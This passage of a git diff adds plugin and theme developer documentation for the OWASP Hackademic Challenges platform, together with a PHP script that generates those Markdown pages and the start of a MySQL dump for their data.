+Plugin::add_action('show_user_manager', '[plugin]_show_user_manager', 10, 1); + +function [plugin]_show_user_manager([parameters]) { + // do something +} +``` + +*** + +##### Overview + +* [Install a plugin or theme](./Plugin-API-Install) +* [Develop a plugin](./Plugin-API-Plugin) +* [Develop a theme](./Plugin-API-Theme) +* [Plugin API Actions](./Plugin-API-Actions) +* [Plugin API Pages and Menus](./Plugin-API-Pages-and-Menus) diff --git a/docs/Plugin-API-Install.md b/docs/Plugin-API-Install.md new file mode 100755 index 00000000..5b62115a --- /dev/null +++ b/docs/Plugin-API-Install.md @@ -0,0 +1,27 @@ +The OWASP Hackademic Challenges Plugin API allows developers to extend the system by installing plugins and themes. + +#### Install a plugin +To install a plugin, do the following: + +* Upload the folder containing the plugin to `/user/plugins/[plugin]` +* Navigate to the options page (defaultpath : `/?url=admin/options`) +* Locate the plugin in the plugins list and select the checkbox +* Click `Submit` to save + +#### Install a theme +To install a theme, do the following: + +* Upload the folder containing the theme to `/user/themes/[theme]` +* Navigate to the options page (default path: `/?url=admin/options`) +* Locate the theme in the themes list and select the radio button to choose the active theme +* Click `Submit` to save + +*** + +##### Overview + +* [Install a plugin or theme](./Plugin-API-Install) +* [Develop a plugin](./Plugin-API-Plugin) +* [Develop a theme](./Plugin-API-Theme) +* [Plugin API Actions](./Plugin-API-Actions) +* [Plugin API Pages and Menus](./Plugin-API-Pages-and-Menus) diff --git a/docs/Plugin-API-Overview.md b/docs/Plugin-API-Overview.md new file mode 100755 index 00000000..0a67d81d --- /dev/null +++ b/docs/Plugin-API-Overview.md @@ -0,0 +1,7 @@ +The OWASP Hackademic Challenges Plugin API allows developers to build plugins and themes to customise the functionality of the system. To learn more about how to extend Hackademic Challenges you can read about: + +* [Install a plugin or theme](./Plugin-API-Install) +* [Develop a plugin](./Plugin-API-Plugin) +* [Develop a theme](./Plugin-API-Theme) +* [Plugin API Actions](./Plugin-API-Actions) +* [Plugin API Pages and Menus](./Plugin-API-Pages-and-Menus) diff --git a/docs/Plugin-API-Pages-and-Menus.md b/docs/Plugin-API-Pages-and-Menus.md new file mode 100755 index 00000000..1a9c389c --- /dev/null +++ b/docs/Plugin-API-Pages-and-Menus.md @@ -0,0 +1,180 @@ +The OWASP Hackademic Challenges Plugin API allows developers to extend the system by adding pages, menus and menu items. The system makes use of the Smarty templating engine so if you are not familiar with Smarty it is a good idea to read up on how it works. This basic tutorial simply covers the Hackademic Challenges implementation of the Smarty templating engine. + +#### Adding a page +To add a page you need to first create a php file that will print the HTML that is to be displayed. In the system classes, this php file simply creates an instance of a HackademicController which then assembles a view through the Smarty templating system. A typical page file can look like this: + + + ```php + // HACKADEMIC_PLUGIN_PATH points to the system plugin folder + require_once(HACKADEMIC_PLUGIN_PATH . "my-plugin/class.MyPluginController.php"); + + $controller = new MyPluginController(); + echo $controller->go(); + ``` + +You are not required by the system to create such a file but it follows the rest of the system structure and will guarantee forward compatability if used. + +It is recommended to extend your controller from the `HackademicController` or `HackademicBackendController`. This controllers make sure that you have access to a Smarty instance that can send your data to a template. A typical stub of a controller class can look like this: + + + ```php + require_once(HACKADEMIC_PATH . "controller/class.HackademicController.php"); + class MyPluginController extends HackademicController { + + // Used to generate API actions + private static $action_type = "my_custom"; + + // Called from the custom php file that represents the page + // It is recommended to follow this naming pattern to keep forward compability in the future + public function go() { + $my_custom_var_1 = "some data"; + $my_custom_var_2 = "some more data"; + $this->addToView("my_custom_var_1", $my_custom_var_1); + $this->addToView("my_custom_var_2", $my_custom_var_2); + $this->setViewTemplate("my_custom_template.tpl"); + $this->generateView(self::$action_type); + } + } + ``` + +The file my_custom_template.tpl which is used as the Smarty template for the controller will contain the HTML code and Smarty template tags. + +For the system to recognise your new page it needs to be inserted into the database. You can do this with the `Plugin::add_page($url, $file);` call. The URL should be the user visible path to your page. Note that this needs to be unique. It is also recommended that you give it a path that suits the current menu structure of the system.\n\nSome example page mappings from the Hackademic core are: + + ``` + +------------------------+----------------------------------+ + | url | file | + +------------------------+----------------------------------+ + | admin | admin/index.php | + | admin/addarticle | admin/pages/addarticle.php | + | admin/addchallenge | admin/pages/addchallenge.php | + | forgotpassword | pages/forgotpassword.php | + | home | pages/home.php | + | login | pages/login.php | + | logout | pages/logout.php | + +------------------------+----------------------------------+ + ``` + +Note that all paths are relative.#### Adding a menu and menu items +To add a new menu in the Hackademic database you can use the Plugin API. You can also add menu items to external or internal pages. If you are linking to an internal page, don't forget to add it to the pages table if it's not already there. + +#### API methods +The API has the following methods that allows you to work with pages and menus: + +```php + /** + * Adds a menu with the given name. + * + * @param the name of the menu such as "My menu" + * @return true if added + */ + public static function add_menu($name) + + /** + * Retrives the menu for the given menu id + * + * @param the id of the menu to load + * @return an array with the menu items + */ + public static function get_menu($mid) + + /** + * Updates the menu with the given menu id to the given name. + * + * @param menu id of the menu to update + * @param the new name of the menu such as "My new menu" + * @return true if updated + */ + public static function update_menu($mid, $name) + + /** + * Deletes the menu with the given menu id. + * + * @param menu id of the menu to delete + * @return true if deleted + */ + public static function delete_menu($mid) + + /** + * Adds a page mapping from the given url to the file. + * + * @param the url to map + * @param the path to the file that generates the page view. The path should be relative + * to the HACKADEMIC_PATH variable which is the web root as default. + * @return true if added + */ + public static function add_page($url, $file) + + /** + * Retrives the file for the given url + * + * @param the $url to load the file for + * @return the path to the file + */ + public static function get_file_for_page($url) + + /** + * Updates a page mapping from the given url to the new file. + * + * @param the url to update the mapping for + * @param the new path to the file that generates the page view. The path should be relative + * to the HACKADEMIC_PATH variable which is the web root as default. + * @return true if updated + */ + public static function update_page($url, $file) + + /** + * Deletes a page mapping for the given url. + * + * @param the url to delete the page mapping for. + * @return true if deleted + */ + public static function delete_page($url) + + /** + * Adds a menu item to the menu with the given menu id. The menu item + * needs a url to point to, a label to display and a integer to sort on. + * + * @param the url for the menu item + * @param the menu id that the menu item belongs to + * @param the label for the menu item that is visible to the user + * @param the parent menu item id if there is one, otherwise 0 if root item + * @param the sort integer for the menu item, sort is made ascending + * @return true if added + */ + public static function add_menu_item($url, $mid, $label, $parent, $sort) + + /** + * Updates a menu item to the menu with the given menu id. The menu item + * needs a url to point to, a label to display and a integer to sort on. + * + * @param the url for the menu item + * @param the menu id that the menu item belongs to + * @param the new label for the menu item that is visible to the user + * @param the parent menu item id if there is one, otherwise 0 if root item + * @param the new sort integer for the menu item, sort is made ascending + * @return true if updated + */ + public static function update_menu_item($url, $mid, $label, $parent, $sort) + + /** + * Deletes a menu item to the menu with the given menu id. + * + * @param the url for the menu item + * @param the menu id that the menu item belongs to + * @return true if deleted + */ + public static function delete_menu_item($url, $mid) + ``` + +You call the methods using the static call for the Plugin class for example: `Plugin::add_menu($name);`\n\nNote that you can't create a menu item unless you have a menu. If you are not linking to an external URL you also need to add a page for that menu item before you can create it. + +*** + +##### Overview + +* [Install a plugin or theme](./Plugin-API-Install) +* [Develop a plugin](./Plugin-API-Plugin) +* [Develop a theme](./Plugin-API-Theme) +* [Plugin API Actions](./Plugin-API-Actions) +* [Plugin API Pages and Menus](./Plugin-API-Pages-and-Menus) diff --git a/docs/Plugin-API-Plugin.md b/docs/Plugin-API-Plugin.md new file mode 100755 index 00000000..41f5af9f --- /dev/null +++ b/docs/Plugin-API-Plugin.md @@ -0,0 +1,108 @@ +This tutorial will show you how to build a plugin for the OWASP Hackademic Challenges. We will use the example plugin as a base and explain what it does, how and why so if you want to, you can download it and follow along in the real code. + +#### Set up + +The OWASP Hackademic Challenges follows the same guidelines as the [Drupal Coding Standards](https://drupal.org/coding-standards) for formatting and writing code. We recommend that your plugin also adheres to this standard to make it easier for other developers in the project to work with your code. If you don't want to read the full document here is the quick version: + +* Use spaces instead of tabs + +* Use 2 spaces, not 4 + +* Use capital letters for constants such as `TRUE` and `NULL` + +* Always use curly braces `{}` around if/else/for etc. statements to increase readability + +#### Being recognised + +Before the nitty gritty coding begins you need to choose a name for your plugin. It should be as short and descriptive as possible. Once a name has been chosen, create a folder with the same name as your plugin. The folder name should be in lower case and use dashes instead of spaces. The name of the example plugin is `article-challenge-connect`. + +When the folder has been created we can create our first file for the plugin, it should have the exact same name as the folder but with the `.php` extension. The filename for the example plugin is `article-challenge-connect.php`. This file is a bit special in that it should contain some information about your plugin. To define this information we use a block style comment together with some keywords. The metadata for the example plugin looks like this: + +``` + + /** + * + * Plugin Name: Article Challenge Connect + * Plugin URI: http://example.com/article-challenge-connect + * Description: This plugin connects articles to challenges. It is solely meant as a demonstration on how a plugin could be created using the Hackademic Challenges API and should not be used in a production environment since it lacks proper testing, security and quality assurances. You are encouraged to use it as a base for developing your own custom plugins. + * Version: 1.1 + * Author: Daniel Kvist + * Author URI: http://danielkvist.net + * License: GPL2 + * + */ +``` + +The metadata you enter here will be displayed in the OWASP Hackademic Challenges options page so make it descriptive so your user understands what it does. Once you have entered this information, place your folder in the `user/plugins/` folder and navigate to the options page to make sure your plugin is shown. You can enable it now if you wish but since it doesn't do anything yet that seems unneccessary ;) + +#### Adding listeners + +Now that we are recognised by the system as a plugin we can start to add listeners to the actions that the system perform. Since we want to connect articles with challenges when a new article is created we need to do a couple of things. We need to: + +* Add a custom field with challenges to the 'add article' and 'edit article' form(s) + +* Add a listener to the action that tells us that an article has been saved, updated or deleted in the database + +* Add a custom column to the article manager so an administrator can see which article is connectect to which challenge + +To add custom fields and columns, we need to change the template (view) for the page(s). This can be done with the `set_admin_view_template` action. Since we also need to add data to that we can use in the template file we will listen to the `show_add_article`, `show_edit_article` and `show_article_manager` actions. Listening to database interactions is also neccessary and the actions we are interested in are `after_create_article`, `after_update_article` and `before_delete_article`. + +These actions are all well and good and gives us the hooks into the system we need to modify the system. We also need to save the data somehow though! To save the data we can use the database abstraction layer that is provided in the file `/model/common/class.HackademicDB.php`. Using the global variable `$db` we can `create, read, update and delete` information in the database while at the same time triggering an action for other developers to use. Using the `query` function will allow us to send sql queries to the database without triggering actions. + +Adding the listeners is easy with the static methods available. The standard format is like this: + +```Plugin::add_action('[action]', '[plugin_action]', [priority], [number of arguments]);``` + +``` + // Add 'show' actions + Plugin::add_action('show_add_article', 'custom_uni_show_add_article', 10, 1); + Plugin::add_action('show_edit_article', 'custom_uni_show_edit_article', 10, 1); + Plugin::add_action('show_article_manager', 'custom_uni_show_article_manager', 10, 1); + + // Add 'CRUD' actions + Plugin::add_action('after_create_article', 'custom_uni_after_create_article', 10, 2); + Plugin::add_action('after_update_article', 'custom_uni_after_update_article', 10, 1); + Plugin::add_action('before_delete_article', 'custom_uni_before_delete_article', 10, 2); + + // Add action for enabling plugin + Plugin::add_action('enable_plugin', 'custom_uni_enable_plugin', 10, 1); + + // Add filter to set custom form template + Plugin::add_filter('set_admin_view_template', 'custom_uni_set_admin_view_template', 10, 1); +``` + +Great, we are now listening to the system actions and we have mapped each listener no a uniquely named function. Now, lets write the functions! + +#### Adding functions + +Functions need to have unique name across the scope of the system. To make sure this is the case each function should be named with the plugin name to start with and then the specific action that the function is handling. The functions of the example plugin are pretty self explanatory and well documented in the source so I suggest you check that out. Here I will only give a brief explanation on what each function does. + +* `custom_uni_show_add_article` finds challenges that the current user is allowed to see and sends them to the add article page + +* `custom_uni_show_edit_article` finds challenges that the current user is allowed to see and sends them to the edit article page together with the currently chosen challenge + +* `custom_uni_show_article_manager` adds challenges to the template that shows the article overview + +* `custom_uni_after_create_article` adds a challenge reference to the article if a challenge is selected when an article is created + +* `custom_uni_after_update_article` updates the challenge reference with the article if a challenge is selected when an article is updated + +* `custom_uni_before_delete_article` deletes the challenge reference with the article if an article is delete + +* `custom_uni_enable_plugin` executed when the plugin is enabled and creates a database table to store article and challenge connections + +* `custom_uni_set_admin_view_template` changes the templates for the view we need to modify so that we can add things such as extra form fields etc. + +#### Wrapping up + +As you can see the main file of the plugin uses a model class that also belongs to the plugin to do the heavy database interaction code. It is recommended to keep your code well structured and object oriented to make it easier to maintain and understand. We hope that you now have a basic understanding on how the Plugin API can be used to add functionality to the system. Note that the example plugin developed in this tutorial by no means fulfill all the wished for functionality when it comes to connecting articles and challenges. It simply serves as an example to help you get started so use it as a base for your own awesome plugins. + +*** + +##### Overview + +* [Install a plugin or theme](./Plugin-API-Install) +* [Develop a plugin](./Plugin-API-Plugin) +* [Develop a theme](./Plugin-API-Theme) +* [Plugin API Actions](./Plugin-API-Actions) +* [Plugin API Pages and Menus](./Plugin-API-Pages-and-Menus) diff --git a/docs/Plugin-API-Theme.md b/docs/Plugin-API-Theme.md new file mode 100755 index 00000000..cb353341 --- /dev/null +++ b/docs/Plugin-API-Theme.md @@ -0,0 +1,34 @@ +OWASP Hackademic Challenges uses the Smarty Template Engine to present content. To build a theme for the OWASP Hackademic Challenges you need to create a set of template files that correspond to the system templates but with different content of course. + +#### Being recognised + +For the system to be able to detect your theme it must be placed in the `/user/themes` folder. Your theme should be contained in its own folder with a unique name that suits your theme. The system will be looking for a specific file which must contain some mandatory metadata about your theme. This file should be placed in your theme folder and it should be named the same as the folder but with a `.php` extension. So if your theme name is 'my dark theme' your file should be named 'my_dark_theme.php'. + +Do not worry about the php extension, it doesn't have to contain any php. It will however need to contain the information the system requires to regognise your theme. This information must be formatted like this at the top of the file: + + + getMessage(); + } + $connection->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); + $connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); +} + +function query($sql, $params = NULL) { + global $connection; + $statement_handle = $connection->prepare($sql); + $statement_handle->execute($params); + return $statement_handle; +} + +function fetchArray($statement_handle) { + $statement_handle->setFetchMode(PDO::FETCH_ASSOC); + $row = $statement_handle->fetch(); + return $row; +} + +function buildActionsBody($m) { + $output = '#### Action: ' . $m['action'] . "\n"; + $output .= $m['description'] . "\n\n"; + $output .= '##### Parameters' . "\n"; + $output .= '```php' . "\n" . $m['parameters'] . "\n" . '```' . "\n\n"; + $output .= '##### Usage' . "\n"; + $output .= buildActionsUsage($m); + return $output; +} + +function buildActionsUsage($m) { + $output = '```php' . "\n"; + $output .= "Plugin::add_action('" . $m['action'] . "', '[plugin]_" . $m['action'] . "', 10, 1);\n\n"; + $output .= "function [plugin]_" . $m['action']; + $output .= "([parameters]) {\n"; + $output .= " // do something\n"; + $output .= "}\n"; + $output .= '```' . "\n\n"; + return $output; +} + +function buildActionsPage() { + $output = buildActionsOutput(); + $links = "***\n\n##### Overview\n\n" . buildOverviewLinks(); + + write('Plugin-API-Actions.md', $output . $links); +} + +function buildOverviewPage() { + $intro = "The OWASP Hackademic Challenges Plugin API allows developers to build plugins and themes to customise the functionality of the system. To learn more about how to extend Hackademic Challenges you can read about: \n\n"; + $output = $intro . buildOverviewLinks(); + write('Plugin-API-Overview.md', $output); +} + +function buildOverviewLinks() { + $link1 = "* [Install a plugin or theme](./Plugin-API-Install)\n"; + $link2 = "* [Develop a plugin](./Plugin-API-Plugin)\n"; + $link3 = "* [Develop a theme](./Plugin-API-Theme)\n"; + $link4 = "* [Plugin API Actions](./Plugin-API-Actions)\n"; + $link5 = "* [Plugin API Pages and Menus](./Plugin-API-Pages-and-Menus)\n"; + return $link1 . $link2 . $link3 . $link4 . $link5; +} + +function buildInstallPage() { + $intro = "The OWASP Hackademic Challenges Plugin API allows developers to extend the system by installing plugins and themes.\n\n"; + + $plugin = "#### Install a plugin\n"; + $plugin .= "To install a plugin, do the following:\n\n"; + $plugin .= "* Upload the folder containing the plugin to `/user/plugins/[plugin]`\n"; + $plugin .= "* Navigate to the options page (defaultpath : `/?url=admin/options`)\n"; + $plugin .= "* Locate the plugin in the plugins list and select the checkbox\n"; + $plugin .= "* Click `Submit` to save\n\n"; + + $theme = "#### Install a theme\n"; + $theme .= "To install a theme, do the following:\n\n"; + $theme .= "* Upload the folder containing the theme to `/user/themes/[theme]`\n"; + $theme .= "* Navigate to the options page (default path: `/?url=admin/options`)\n"; + $theme .= "* Locate the theme in the themes list and select the radio button to choose the active theme\n"; + $theme .= "* Click `Submit` to save\n\n"; + + $links = "***\n\n##### Overview\n\n" . buildOverviewLinks(); + + $output = $intro . $plugin . $theme . $links; + write('Plugin-API-Install.md', $output); +} + +function buildMenuPage() { + $intro = "The OWASP Hackademic Challenges Plugin API allows developers to extend the system by adding pages, menus and menu items. The system makes use of the Smarty templating engine so if you are not familiar with Smarty it is a good idea to read up on how it works. This basic tutorial simply covers the Hackademic Challenges implementation of the Smarty templating engine.\n\n"; + + $body = "#### Adding a page\n"; + $body .= "To add a page you need to first create a php file that will print the HTML that is to be displayed. In the system classes, this php file simply creates an instance of a HackademicController which then assembles a view through the Smarty templating system. A typical page file can look like this:\n\n"; + $body .= ' + ```php + // HACKADEMIC_PLUGIN_PATH points to the system plugin folder + require_once(HACKADEMIC_PLUGIN_PATH . "my-plugin/class.MyPluginController.php"); + + $controller = new MyPluginController(); + echo $controller->go(); + ```'; + $body .= "\n\n"; + $body .= "You are not required by the system to create such a file but it follows the rest of the system structure and will guarantee forward compatability if used.\n\n"; + $body .= "It is recommended to extend your controller from the `HackademicController` or `HackademicBackendController`. This controllers make sure that you have access to a Smarty instance that can send your data to a template. A typical stub of a controller class can look like this:\n\n"; + $body .= ' + ```php + require_once(HACKADEMIC_PATH . "controller/class.HackademicController.php"); + class MyPluginController extends HackademicController { + + // Used to generate API actions + private static $action_type = "my_custom"; + + // Called from the custom php file that represents the page + // It is recommended to follow this naming pattern to keep forward compability in the future + public function go() { + $my_custom_var_1 = "some data"; + $my_custom_var_2 = "some more data"; + $this->addToView("my_custom_var_1", $my_custom_var_1); + $this->addToView("my_custom_var_2", $my_custom_var_2); + $this->setViewTemplate("my_custom_template.tpl"); + $this->generateView(self::$action_type); + } + } + ```'; + $body .= "\n\n"; + $body .= "The file my_custom_template.tpl which is used as the Smarty template for the controller will contain the HTML code and Smarty template tags.\n\n"; + $body .= 'For the system to recognise your new page it needs to be inserted into the database. You can do this with the `Plugin::add_page($url, $file);` call. The URL should be the user visible path to your page. Note that this needs to be unique. It is also recommended that you give it a path that suits the current menu structure of the system.\n\n'; + $body .= "Some example page mappings from the Hackademic core are: \n"; + $body .= " + ``` + +------------------------+----------------------------------+ + | url | file | + +------------------------+----------------------------------+ + | admin | admin/index.php | + | admin/addarticle | admin/pages/addarticle.php | + | admin/addchallenge | admin/pages/addchallenge.php | + | forgotpassword | pages/forgotpassword.php | + | home | pages/home.php | + | login | pages/login.php | + | logout | pages/logout.php | + +------------------------+----------------------------------+ + ```"; + $body .= "\n\n"; + $body .= "Note that all paths are relative."; + + + $body .= "#### Adding a menu and menu items\n"; + $body .= "To add a new menu in the Hackademic database you can use the Plugin API. You can also add menu items to external or internal pages. If you are linking to an internal page, don't forget to add it to the pages table if it's not already there.\n\n"; + $body .= "#### API methods\n"; + $body .= "The API has the following methods that allows you to work with pages and menus:\n\n"; + $body .= '```php + /** + * Adds a menu with the given name. + * + * @param the name of the menu such as "My menu" + * @return true if added + */ + public static function add_menu($name) + + /** + * Retrives the menu for the given menu id + * + * @param the id of the menu to load + * @return an array with the menu items + */ + public static function get_menu($mid) + + /** + * Updates the menu with the given menu id to the given name. + * + * @param menu id of the menu to update + * @param the new name of the menu such as "My new menu" + * @return true if updated + */ + public static function update_menu($mid, $name) + + /** + * Deletes the menu with the given menu id. + * + * @param menu id of the menu to delete + * @return true if deleted + */ + public static function delete_menu($mid) + + /** + * Adds a page mapping from the given url to the file. + * + * @param the url to map + * @param the path to the file that generates the page view. The path should be relative + * to the HACKADEMIC_PATH variable which is the web root as default. + * @return true if added + */ + public static function add_page($url, $file) + + /** + * Retrives the file for the given url + * + * @param the $url to load the file for + * @return the path to the file + */ + public static function get_file_for_page($url) + + /** + * Updates a page mapping from the given url to the new file. + * + * @param the url to update the mapping for + * @param the new path to the file that generates the page view. The path should be relative + * to the HACKADEMIC_PATH variable which is the web root as default. + * @return true if updated + */ + public static function update_page($url, $file) + + /** + * Deletes a page mapping for the given url. + * + * @param the url to delete the page mapping for. + * @return true if deleted + */ + public static function delete_page($url) + + /** + * Adds a menu item to the menu with the given menu id. The menu item + * needs a url to point to, a label to display and a integer to sort on. + * + * @param the url for the menu item + * @param the menu id that the menu item belongs to + * @param the label for the menu item that is visible to the user + * @param the parent menu item id if there is one, otherwise 0 if root item + * @param the sort integer for the menu item, sort is made ascending + * @return true if added + */ + public static function add_menu_item($url, $mid, $label, $parent, $sort) + + /** + * Updates a menu item to the menu with the given menu id. The menu item + * needs a url to point to, a label to display and a integer to sort on. + * + * @param the url for the menu item + * @param the menu id that the menu item belongs to + * @param the new label for the menu item that is visible to the user + * @param the parent menu item id if there is one, otherwise 0 if root item + * @param the new sort integer for the menu item, sort is made ascending + * @return true if updated + */ + public static function update_menu_item($url, $mid, $label, $parent, $sort) + + /** + * Deletes a menu item to the menu with the given menu id. + * + * @param the url for the menu item + * @param the menu id that the menu item belongs to + * @return true if deleted + */ + public static function delete_menu_item($url, $mid) + ```'; + $body .= "\n\n"; + $body .= 'You call the methods using the static call for the Plugin class for example: `Plugin::add_menu($name);`\n\n'; + + $body .= "Note that you can't create a menu item unless you have a menu. If you are not linking to an external URL you also need to add a page for that menu item before you can create it.\n\n"; + + + $links = "***\n\n##### Overview\n\n" . buildOverviewLinks(); + + $output = $intro . $body . $links; + write('Plugin-API-Pages-and-Menus.md', $output); +} + +function buildPluginPage() { + $intro = "This tutorial will show you how to build a plugin for the OWASP Hackademic Challenges. We will use the example plugin as a base and explain what it does, how and why so if you want to, you can download it and follow along in the real code.\n\n"; + $body = "#### Set up\n\n"; + $body .= "The OWASP Hackademic Challenges follows the same guidelines as the [Drupal Coding Standards](https://drupal.org/coding-standards) for formatting and writing code. We recommend that your plugin also adheres to this standard to make it easier for other developers in the project to work with your code. If you don't want to read the full document here is the quick version: \n\n"; + $body .= "* Use spaces instead of tabs\n\n"; + $body .= "* Use 2 spaces, not 4\n\n"; + $body .= "* Use capital letters for constants such as `TRUE` and `NULL`\n\n"; + $body .= "* Always use curly braces `{}` around if/else/for etc. statements to increase readability\n\n"; + $body .= "#### Being recognised\n\n"; + $body .= "Before the nitty gritty coding begins you need to choose a name for your plugin. It should be as short and descriptive as possible. Once a name has been chosen, create a folder with the same name as your plugin. The folder name should be in lower case and use dashes instead of spaces. The name of the example plugin is `article-challenge-connect`.\n\n"; + $body .= "When the folder has been created we can create our first file for the plugin, it should have the exact same name as the folder but with the `.php` extension. The filename for the example plugin is `article-challenge-connect.php`. This file is a bit special in that it should contain some information about your plugin. To define this information we use a block style comment together with some keywords. The metadata for the example plugin looks like this: \n\n"; + $body .= "```\n"; + $body .= " + /** + * + * Plugin Name: Article Challenge Connect + * Plugin URI: http://example.com/article-challenge-connect + * Description: This plugin connects articles to challenges. It is solely meant as a demonstration on how a plugin could be created using the Hackademic Challenges API and should not be used in a production environment since it lacks proper testing, security and quality assurances. You are encouraged to use it as a base for developing your own custom plugins. + * Version: 1.1 + * Author: Daniel Kvist + * Author URI: http://danielkvist.net + * License: GPL2 + * + */\n"; + $body .= "```\n\n"; + $body .= "The metadata you enter here will be displayed in the OWASP Hackademic Challenges options page so make it descriptive so your user understands what it does. Once you have entered this information, place your folder in the `user/plugins/` folder and navigate to the options page to make sure your plugin is shown. You can enable it now if you wish but since it doesn't do anything yet that seems unneccessary ;)\n\n"; + $body .= "#### Adding listeners\n\n"; + $body .= "Now that we are recognised by the system as a plugin we can start to add listeners to the actions that the system perform. Since we want to connect articles with challenges when a new article is created we need to do a couple of things. We need to:\n\n"; + $body .= "* Add a custom field with challenges to the 'add article' and 'edit article' form(s)\n\n"; + $body .= "* Add a listener to the action that tells us that an article has been saved, updated or deleted in the database\n\n"; + $body .= "* Add a custom column to the article manager so an administrator can see which article is connectect to which challenge\n\n"; + $body .= "To add custom fields and columns, we need to change the template (view) for the page(s). This can be done with the `set_admin_view_template` action. Since we also need to add data to that we can use in the template file we will listen to the `show_add_article`, `show_edit_article` and `show_article_manager` actions. Listening to database interactions is also neccessary and the actions we are interested in are `after_create_article`, `after_update_article` and `before_delete_article`.\n\n"; + $body .= "These actions are all well and good and gives us the hooks into the system we need to modify the system. We also need to save the data somehow though! To save the data we can use the database abstraction layer that is provided in the file `/model/common/class.HackademicDB.php`. Using the global variable `" . '$db' . "` we can `create, read, update and delete` information in the database while at the same time triggering an action for other developers to use. Using the `query` function will allow us to send sql queries to the database without triggering actions.\n\n"; + $body .= "Adding the listeners is easy with the static methods available. The standard format is like this:\n\n"; + $body .= "```Plugin::add_action('[action]', '[plugin_action]', [priority], [number of arguments]);```\n\n"; + $body .= "```"; + $body .= " + // Add 'show' actions + Plugin::add_action('show_add_article', 'custom_uni_show_add_article', 10, 1); + Plugin::add_action('show_edit_article', 'custom_uni_show_edit_article', 10, 1); + Plugin::add_action('show_article_manager', 'custom_uni_show_article_manager', 10, 1); + + // Add 'CRUD' actions + Plugin::add_action('after_create_article', 'custom_uni_after_create_article', 10, 2); + Plugin::add_action('after_update_article', 'custom_uni_after_update_article', 10, 1); + Plugin::add_action('before_delete_article', 'custom_uni_before_delete_article', 10, 2); + + // Add action for enabling plugin + Plugin::add_action('enable_plugin', 'custom_uni_enable_plugin', 10, 1); + + // Add filter to set custom form template + Plugin::add_filter('set_admin_view_template', 'custom_uni_set_admin_view_template', 10, 1);\n"; + $body .= "```\n\n"; + $body .= "Great, we are now listening to the system actions and we have mapped each listener no a uniquely named function. Now, lets write the functions!\n\n"; + $body .= "#### Adding functions\n\n"; + $body .= "Functions need to have unique name across the scope of the system. To make sure this is the case each function should be named with the plugin name to start with and then the specific action that the function is handling. The functions of the example plugin are pretty self explanatory and well documented in the source so I suggest you check that out. Here I will only give a brief explanation on what each function does.\n\n"; + $body .= "* `custom_uni_show_add_article` finds challenges that the current user is allowed to see and sends them to the add article page\n\n"; + $body .= "* `custom_uni_show_edit_article` finds challenges that the current user is allowed to see and sends them to the edit article page together with the currently chosen challenge\n\n"; + $body .= "* `custom_uni_show_article_manager` adds challenges to the template that shows the article overview\n\n"; + $body .= "* `custom_uni_after_create_article` adds a challenge reference to the article if a challenge is selected when an article is created\n\n"; + $body .= "* `custom_uni_after_update_article` updates the challenge reference with the article if a challenge is selected when an article is updated\n\n"; + $body .= "* `custom_uni_before_delete_article` deletes the challenge reference with the article if an article is delete\n\n"; + $body .= "* `custom_uni_enable_plugin` executed when the plugin is enabled and creates a database table to store article and challenge connections\n\n"; + $body .= "* `custom_uni_set_admin_view_template` changes the templates for the view we need to modify so that we can add things such as extra form fields etc.\n\n"; + $body .= "#### Wrapping up\n\n"; + $body .= "As you can see the main file of the plugin uses a model class that also belongs to the plugin to do the heavy database interaction code. It is recommended to keep your code well structured and object oriented to make it easier to maintain and understand. We hope that you now have a basic understanding on how the Plugin API can be used to add functionality to the system. Note that the example plugin developed in this tutorial by no means fulfill all the wished for functionality when it comes to connecting articles and challenges. It simply serves as an example to help you get started so use it as a base for your own awesome plugins.\n\n"; + + $links = "***\n\n##### Overview\n\n" . buildOverviewLinks(); + + $output = $intro . $body . $links; + write('Plugin-API-Plugin.md', $output); +} + +function buildThemePage() { + $intro = "OWASP Hackademic Challenges uses the Smarty Template Engine to present content. To build a theme for the OWASP Hackademic Challenges you need to create a set of template files that correspond to the system templates but with different content of course.\n\n"; + $body = "#### Being recognised\n\n"; + $body .= "For the system to be able to detect your theme it must be placed in the `/user/themes` folder. Your theme should be contained in its own folder with a unique name that suits your theme. The system will be looking for a specific file which must contain some mandatory metadata about your theme. This file should be placed in your theme folder and it should be named the same as the folder but with a `.php` extension. So if your theme name is 'my dark theme' your file should be named 'my_dark_theme.php'.\n\n"; + $body .= "Do not worry about the php extension, it doesn't have to contain any php. It will however need to contain the information the system requires to regognise your theme. This information must be formatted like this at the top of the file:\n\n"; + $body .= " + '; +connect(); +print 'Building actions page' . '
'; +buildActionsPage(); +print 'Building overview page' . '
'; +buildOverviewPage(); +print 'Building install page' . '
'; +buildInstallPage(); +print 'Building plugin page' . '
'; +buildPluginPage(); +print 'Building menu page' . '
'; +buildMenuPage(); +print 'Building theme page' . '
'; +buildThemePage(); +print 'Success!'; \ No newline at end of file diff --git a/docs/plugindocs.sql b/docs/plugindocs.sql new file mode 100755 index 00000000..8e844038 --- /dev/null +++ b/docs/plugindocs.sql @@ -0,0 +1,53 @@ +-- MySQL dump 10.13 Distrib 5.6.13, for osx10.7 (x86_64) +-- +-- Host: localhost Database: plugindocs +-- ------------------------------------------------------ +-- Server version 5.6.13 + +/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; +/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; +/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; +/*!40101 SET NAMES utf8 */; +/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; +/*!40103 SET TIME_ZONE='+00:00' */; +/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; +/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; +/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; +/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; + +-- +-- Table structure for table `actions` +-- + +DROP TABLE IF EXISTS `actions`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `actions` ( + `action` varchar(255) NOT NULL DEFAULT '', + `description` varchar(255) DEFAULT NULL, + `parameters` varchar(255) DEFAULT NULL, + `source` varchar(255) DEFAULT NULL, + PRIMARY KEY (`action`) +) ENGINE=InnoDB DEFAULT 